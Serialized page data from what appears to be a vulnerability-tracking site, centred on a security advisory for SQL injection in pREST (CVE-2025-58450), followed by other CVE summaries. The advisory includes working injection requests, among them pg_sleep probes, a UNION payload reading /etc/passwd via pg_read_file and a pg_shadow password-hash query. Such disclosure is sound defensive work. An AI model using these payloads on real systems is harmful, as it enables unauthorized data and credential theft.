[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"cve-CVE-2025-58450":3,"landing-trending":39,"landing-articles":65},{"id":4,"cve_id":5,"euvd_id":6,"summary":7,"published":8,"cvss_data":9,"is_remote":10,"cwes":11,"cpes":13,"technologies":16,"references":18,"score":23,"epss_score":24,"epss_percentile":25,"is_kev":10,"cisa_kev_date_added":26,"cisa_kev_due_date":26,"cisa_ssvc":27,"attack_mappings":37,"exploits":38},93489,"CVE-2025-58450","EUVD-2025-27177","pREST has a Systemic SQL Injection Vulnerability\n\n# Summary\npREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.\n\nDuring an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version `v2.0.0-rc2`). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.\n\n## Core Endpoints\nThe main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints:\n- `GET \u002F{database}\u002F{schema}\u002F{table}` \n- `POST \u002F{database}\u002F{schema}\u002F{table}` \n- `PUT|PATCH \u002F{database}\u002F{schema}\u002F{table}` \n- `DELETE \u002F{database}\u002F{schema}\u002F{table}` \n\nHandlers for the above endpoints execute very similar logic. At a high-level they:\n1. Perform authentication and authorization\n2. Build the SQL query based on the incoming request\n3. Execute the query on the database\n4. Return the data to the user\n\nThe query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.\n\nAs an example, let us look at the `GET` request or the read operation. After completing the authentication and authorization steps, the `SelectFromTables` function will first compile a list of all columns\u002Ffields, that will be returned in the HTTP response.\n```go\ncols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, \"read\", userName)\n\u002F\u002F ---snip---\nselectStr, err := config.PrestConf.Adapter.SelectFields(cols)\n```\n\nThe `SelectFields` function will validate the requested columns using the `chkInvalidIdentifier` function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the `id` and `task` columns should be returned, the generated SQL will look something like:\n```sql\nSELECT \"id\", \"task\" FROM\n```\n\nThe next step involves generating the table name, from which the data will be queried.\n```go\nquery := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)\n\u002F\u002F ...\nfunc (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {\n\treturn fmt.Sprintf(`%s \"%s\".\"%s\".\"%s\"`, selectStr, database, schema, table)\n}\n```\n\nThe `SelectSQL` function will receive the `database`, `schema` and `table` values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.\n\nIf we assume that the `GET` request is made to the following path `\u002Fdb001\u002Fapi\u002Ftodos`, the resulting query will look similar to:\n```sql\nSELECT \"id\", \"name\" FROM \"api\".\"todos\"\n```\n\nThis step performs processing on values, specifically `schema` and `table`, which do not undergo any input validation, and ultimately allow for SQL injection.\n\n---\n\nThe description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue:\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L243\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L245\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L559\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L643\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1538\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1559\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1581\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1583\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1585\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1601\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1606\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1611\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fadapters\u002Fpostgres\u002Fpostgres.go#L1616\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fcontrollers\u002Ftables.go#L394\n- https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fblob\u002Fmain\u002Fcontrollers\u002Ftables.go#L465\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using the following HTTP request:\n```http\nGET \u002Fdb001\u002Fapi\".\"todos\"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--\u002Ftodos HTTP\u002F1.1\nHost: localhost:3000\n```\n\nThe value provided as the `schema` path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the `pg_sleep()` function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.\n\n```sql\nSELECT * FROM \"db001\".\"api\".\"todos\" where (select 1 from pg_sleep(5))=1\n```\n## Missing Validation on tsquery Predicates\nUsers with permission to read data from tables have the ability to specify `tsquery` predicates, allowing them to perform more complex filtering on the data. An example usage of `tsquery` can be seen below:\n```http\nGET \u002Fdatabases?datname:tsquery=prest HTTP\u002F1.1\nHost: localhost:3000\n```\n\npREST will parse the request, and if it detects that a `tsquery` needs to be generated, the following code will be executed:\n```go\ncase \"tsquery\":\n\ttsQueryField := strings.Split(keyInfo[0], \"$\")\n\ttsQuery := fmt.Sprintf(`%s @@ to_tsquery('%s')`, tsQueryField[0], value)\n\tif len(tsQueryField) == 2 {\n\t\ttsQuery = fmt.Sprintf(`%s @@ to_tsquery('%s', '%s')`, tsQueryField[0], tsQueryField[1], value)\n\t}\n\twhereKey = append(whereKey, tsQuery)\n```\n\nIn this example, the value of the `value` variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using make the following HTTP request:\n```http\nGET \u002Fdatabases?datname:tsquery=db001')+and+((select+'1'+from+pg_sleep(5))%3d'1 HTTP\u002F1.1\nHost: localhost:3000\n```\n\nAs with the previous example, the request above will use Postgres' `pg_sleep()` function to delay the response for 5 seconds, proving the injection was successful.\n## Script Templates\npREST users can define templates for complex SQL queries, that can be reached using the `\u002F_QUERIES\u002F{queriesLocation}\u002F{script}` endpoint. The scripts are read directly from the file system. Their content is passed to the `text\u002Ftemplate` Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.\n```go\nfunc ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {\n\tconfig.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)\n\tsqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)\n\t\u002F\u002F---snip---\n\ttemplateData := make(map[string]interface{})\n\textractHeaders(rq, templateData)\n\textractQueryParameters(rq, templateData)\n\tsql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)\n\t\u002F\u002F---snip---\n\tsc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)\n\t\u002F\u002F---snip---\n\treturn sc.Bytes(), nil\n}\n\n\u002F\u002F...\n\nfunc (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) {\n\t_, tplName := filepath.Split(scriptPath)\n\n\tfuncs := &template.FuncRegistry{TemplateData: templateData}\n\ttpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())\n\n\ttpl, err = tpl.ParseFiles(scriptPath)\n\t\u002F\u002F---snip---\n\n\tvar buff bytes.Buffer\n\terr = tpl.Execute(&buff, funcs.TemplateData)\n\t\u002F\u002F---snip---\n\t\n\tsqlQuery = buff.String()\n\treturn\n}\n```\n\nThe `text\u002Ftemplate` library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the `{{project_root}}\u002F_active` path as `get_todo.read.sql`. \n```sql\nSELECT * FROM api.todos WHERE id = {{.todo_id}}\n```\n\nBefore running pREST, make sure the configuration specifies the script template's directory on the root of the project.\n```toml\n[queries]\nlocation = \"\"\n```\n\nWith that, the issue can be verified by simply making the following request:\n```http\nGET \u002F_QUERIES\u002F_active\u002Fget_todo?todo_id=2%20or%20true HTTP\u002F1.1\nHost: localhost:3000\n```\n\nThe `todo_id` value contains the value: `2 OR true` in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:\n```sql\nSELECT * FROM api.todos WHERE id = 2 or true\n```\nThis will ultimately return all values in from the target table.\n## Issues with the Current Validation\npREST implements input validation via the `chkInvalidIdentifier` function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes (`\"`) in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier. \n\nThe quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres' SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the `chkInvalidIdentifier` function, the following request can be made to the server:\n```http\nGET \u002Fdb001\u002Fapi\u002Ftodos?id\"in(0)or(select\"id\"from\"api.todos\"where\"id\"in(1))in(1)or\"id=1 HTTP\u002F1.1\nHost: localhost:3000\n```\n\nThe request will ultimately execute the following SQL query:\n```sql\nSELECT jsonb_agg(s) FROM (SELECT * FROM \"db001\".\"api\".\"todos\" WHERE \"id\"in(0)or(select\"id\"from\"api\".\"todos\"where\"id\"in(1))in(1)or\"id\" = $1 ) s\n```\n\nThe nested `SELECT` statement will impact the output returned to the user. If the nested query evaluates to `true`, the user will see all entries in the `todos` table. On the other hand, if the nested query evaluates to `false`, the user will only see the entry with its `id` column set to `1`.\n\nThis injection path is ultimately limited by the validation preformed in `chkInvalidIdentifier`, which limits the size of identifiers to 62 characters.\n```go\nif !strings.Contains(ival, \".\") && len(ival) > 63 {\n\treturn true\n}\n```\n# Impact\n**Critical**. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.\n\nIn pREST's case, the query generation procedure will invoke the `Prepare` function from the `sqlx` ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.\n\nHowever, nested queries and file access operations can be performed. The request shown below will read and return the contents of the `\u002Fetc\u002Fpasswd` file.\n```http\nGET \u002Fdb001\u002Fapi\".\"todos\"%20union%20select%20pg_read_file(chr(47)||'etc'||chr(47)||'passwd'))%20s--\u002Ftodos?_select=task HTTP\u002F1.1\nHost: localhost:3000\n```\n\nNote that using forward slashes (`\u002F`) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using `CHR(47)`. This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.\n\nNested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.\n```http\nGET \u002Fdb001\u002Fapi\".\"todos\"%20union%20select%20passwd%20from%20pg_shadow)%20s--\u002Ftodos?_select=task HTTP\u002F1.1\nHost: localhost:3000\n```\n\nFinally, the pREST's official [Docker container ](https:\u002F\u002Fhub.docker.com\u002Fr\u002Fprest\u002Fprest\u002F) uses with the `prest` user the database to establish the database connection. This user does have \"superuser\" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.\n\n# Complexity\n**Low**. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.\n\n# Remediation\nThe injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used `sqlx` library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.\n\nStart off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (`-`) and underscores (`_`).\n\nAlso consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.\n\nFinally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using `sqlx`. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself. \n\nIt is worth noting that the injection issue was pointed out by [GHSA-wm25-j4gw-6vr3](https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fsecurity\u002Fadvisories\u002FGHSA-wm25-j4gw-6vr3). However, the submitter did not highlight the impact which is likely why the issue was left unpatched.\n\n# Reproduction Environment Setup\nThe base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST [Docker container](https:\u002F\u002Fhub.docker.com\u002Fr\u002Fprest\u002Fprest\u002F). For simplicity, all reproduction steps assume that JWT-based authentication is disabled.\n\nThe database contains one table under the `api` namespace, named `todos` with the following schema:\n```sql\nCREATE TABLE api.todos (\n  id int primary key generated by default as identity,\n  done boolean not null default false,\n  task text not null,\n  due timestamptz\n);\n```\n\npREST can be ran using the following configuration:\n```toml\ndebug = true\n\n[http]\nport = 3000\n\n[jwt]\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = false\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nhost = \"127.0.0.1\"\nuser = \"prest\"\npass = \"password\"\nport = 5432\ndatabase = \"db001\"\nsingle = true\n\n[ssl]\nmode = \"disable\"\nsslcert = \".\u002FPATH\"\nsslkey = \".\u002FPATH\"\nsslrootcert = \".\u002FPATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"\"\n```","2025-09-08T21:48:00Z",{},false,[12],"CWE-89",[14,15],"cpe:2.3:a:prest:prest:*:*:*:*:*:*:*:*","cpe:2.3:a:prest:prest:2.0.0-rc2:*:*:*:*:*:*:*",[17],"Prest Prest",[19,20,21,22],"https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fcommit\u002F47d02b87842900f77d76fc694d9aa7e983b0711c","https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest\u002Fsecurity\u002Fadvisories\u002FGHSA-p46v-f2x8-qp98","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-58450","https:\u002F\u002Fgithub.com\u002Fprest\u002Fprest",0,0.00442,0.38131,null,{"timestamp":28,"automatable":29,"tech_impact":30,"exploitation":31,"cisa_decision":32,"cisa_remediation_timeline":36},"2025-09-09T13:16:04.505475Z","yes","total","poc",{"vector":33,"decision":34,"priority":35},"CISAv1\u002FE:P\u002FA:Y\u002FT:T\u002FM:H\u002F2026-10-26T05:15:24.979847\u002F","attend","medium","3D",[],[],{"count":40,"next":41,"previous":26,"results":42},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",[43,52,55],{"id":44,"title":45,"summary":46,"published_at":47,"severity":48,"vendor":49,"products":50},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[51],"brotli",{"id":40,"title":45,"summary":53,"published_at":47,"severity":48,"vendor":49,"products":54},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[51],{"id":56,"title":57,"summary":58,"published_at":59,"severity":48,"vendor":60,"products":61},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[62,63,64],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"count":66,"next":67,"previous":26,"results":68},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[69,77,85],{"id":70,"title":71,"summary":72,"published_at":73,"type":74,"link":75,"image_url":76},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":78,"title":79,"summary":80,"published_at":81,"type":82,"link":83,"image_url":84},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]